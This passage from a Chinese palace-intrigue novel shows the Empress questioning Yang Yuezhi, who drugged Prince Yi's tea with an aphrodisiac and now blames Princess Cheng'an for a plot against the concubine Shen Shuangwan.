沈霜晚听着这话,站起身来,也走到了皇后跟前,她道:“娘娘,妾方才到雅乐阁时候,这里门窗紧闭,宫人都不知去了何处,废了好大力气才撞破这木门进到殿中!一进殿中,便看仪王殿下躺在那里人事不省,而这位杨五娘却一副得意洋洋。妾问这杨五娘为何在此,她便说出许多污言秽语,妾让她离开想查看殿下的情形,她也只说什么重归于好的疯话,故而妾拿起佩剑驱赶她,她与妾一番搏斗,妾不得已伤了她,才脱身到外面喊人!”
一边说着,沈霜晚把手中佩剑上呈到皇后面前来,又露出了她手中的伤口。
“妾手脚笨拙,不能熟练用这佩剑,不小心伤到了殿下,请娘娘恕罪。”她如此说道,“今日这雅乐阁中会没有人值守,才叫着杨五娘能得了空子进来害人,其中必定有里应外合之人,还请娘娘明察!今日伤到的只是殿下,他日若还有人这样玩忽职守,说不定就要对陛下与娘娘动手了。这些心怀怨恨的人如此多,焉知他们还会做出什么丧心病狂的事情呢?”
“胡说!你胡说八道!”杨月芷此刻清醒过来,她露出自己身上的伤口,大哭起来,“分明是你蓄意伤人!你心怀叵测,看不得我与赵弘美和好如初!”
沈霜晚并不多看杨月芷一眼,只请皇后上前去查看仪王情形,她道:“殿下只在刚才醒了片刻,还来不及说话便又晕过去,不知那杨五娘到底给殿下用了什么毒,竟是叫殿下到如今还不能醒来!”顿了顿,她这才扫了杨月芷一眼,继续说了下去,“那杨五娘口口声声说什么旧情复燃和好如初,妾不曾见过和好如初的两人其中之一是不省人事的。”
皇后看着沈霜晚手上的伤口,眉头微微皱着,怜惜道:“等太医来了,让他好好给你看过,可不能伤到筋骨。”说着这话,她不理会一旁的杨月芷,只去看自己的儿子。
正担忧地看赵弘美手上那道口子,皇后忽然瞥见自己儿子对着她睁开了一只眼睛,然后又闭上。
顿时,皇后心中忽然涌上了许多说不清道不明的情绪了,有如释重负,又有五味杂陈。
就凭杨月芷嚷嚷许久的什么重归于好的话,她就能知道为何这事情最后会扯到了刺客上面去。
感情的事情就是说不清,杨月芷刚才衣衫不整,她儿子就算什么都没做,也说不清这其中的猫腻,这大约是沈霜晚想出来的法子——皇后微微松了口气,她再次庆幸那时候依着儿子的意思就让这沈氏留在了他身边,她向着她儿子,她知恩图报,才能让今日这事情有个解决之道。
皇后心思沉重地握住了儿子的手,再看向了沈霜晚,道:“你做得很好,幸而今日是你过来查看,否则还不知究竟会是怎样情形。你不善舞刀弄剑,却敢拿起武器护卫了他。我与他都没看错你。”
杨月芷的心渐渐沉了下去,她看着皇后,犹自挣扎着:“姑妈……姑妈你信我,我和赵弘美真的和好了……真的和好了。”
这时,虔王带着太医来到了雅乐阁中。
皇后站起身,免去了太医行礼,让他们先给仪王和沈霜晚处理伤口。
这样情形在宫中也是少见的,太医赶紧上前去给沈霜晚和仪王处理了伤口,又听着沈霜晚说了仪王之前晕倒种种,给仪王按摩了几处穴位,便叫仪王“醒转”了过来。
虔王在一旁倒是先露出了欣喜神色来,他忙向皇后道:“母后,十一弟醒过来了!”
皇后也显露出几分高兴,她便向虔王道:“好事,能醒过来就是好事,你去与你父皇说一声,叫他别担忧。”
虔王忙应下,听从皇后吩咐往前面去。
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仪王扶着凭几艰难
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坐起来,他躺了这么一会,虽然人是清醒的,但脑子一直隐隐约约发胀,身上一时冷一时热,难受得很。
他先看向了沈霜晚,便见她也正看着他,她用没受伤的那只手在他脸上贴了贴,对他笑了笑,顿时他只觉得心头松快了许多。
“殿下,你终于醒过来了。”沈霜晚看着他的眼睛,“刚才你一个人在这偏殿人事不省,我好不容易才撞进来。殿下,那杨氏说你和他重归于好,可我却只觉得她是要谋害性命。殿下,之前发生了什么,你可还记得?”
仪王拉住了沈霜晚的手,再看向皇后,道:“母后,你不要听杨氏说的话,我今日在这偏殿喝了一杯下了药的水才觉得头昏脑涨,那杯水兴许还在这雅乐阁中,令人去搜查或者应当还能找到。”
一旁杨月芷含着怨恨看向了他,忽然冷笑了一声,却质问起来:“赵弘美,我便这样让你厌恶吗?”
皇后点了头,看向了一旁的禁卫:“这雅乐阁的宫人如今都在何处?你们可有搜查这雅乐阁中的茶水点心?”
禁卫首领立刻便让人抬出了雅乐阁中剩下的茶水点心还有香烛来,口中道:“这些都是阁中剩下的,有几个宫人想偷偷倒掉一些,也被臣等全部拦下。”
皇后示意太医上前查验那些茶水,接着又道:“你们再去审一审那些宫人,究竟是谁让他们擅离职守。”
禁卫首领应下,便叫人前去提审那些宫人。
杨月芷眼睁睁看着那几个太医检查出了一杯没喝完的残茶中加了助兴的药物,然后又从偏殿的熏笼中找出了同样的香料,她面色变得惨白。
同样不过片刻,那禁卫首领便回到了偏殿中来。
“娘娘,他们说就是这位杨五娘给他们的授意,说是除夕夜请他们在底下吃茶吃点心。”禁卫首领对皇后这么说道。
杨月芷觉得自己呼吸发紧,这事情……难道全部都赖到她头上?
她抬眼看向皇后,皇后也正看着她。
皇后的目光冷漠到让她感觉害怕。
这是她一个人的错吗?她不过是想和赵弘美重归于好,她做错什么了?
若不是……若不是袁嘉儿蛊惑,她、她怎么会想到这么下作的办法!
杨月芷握了握拳头,她怨毒地又看了一眼沈霜晚,若不是这贱人,她今日便已经事成了!
但她不能把所有的事情都揽下,若是全都揽下,不仅她自己要死无葬身之地,还会牵连了杨家!
几乎没有任何犹豫,她扑到了皇后面前,一把鼻涕一把泪哭起来:“姑妈、我做错了!姑妈求求你原谅我吧!我只给赵弘美用了助兴的药,其他的事情我没有做过,没有做过的!”
皇后漠然看着她,道:“那么是谁做的呢?那些宫人可都说是你。”
杨月芷哭着道:“是成安郡主,她做的!是她今天带着我进宫,也是她帮我打点好了这些事情!”
“她?她为何要这么做呢?”皇后问。
杨月芷哭着指向了沈霜晚,道:“她想让沈氏去死,又不好大张旗鼓买凶杀人,便让我来动手。”
皇后一时间没能明白她说的这些到底是如何牵连到一起,只道:“这话你自己听听可信么?她要杀沈氏与你何干?你又为何要帮她杀人?”
沈霜晚没想到这中间还能牵扯到她,心中诧异,便也看向了杨月芷。
杨月芷抹着眼泪道:“她说助我重新做上王妃,当了王妃便能处置王府中这些小妾了。”
这话叫殿中诸人竟只都觉得无言以对。
皇后摇了摇头,只看向一旁禁卫,道:“你去把成安郡主带到这里来。”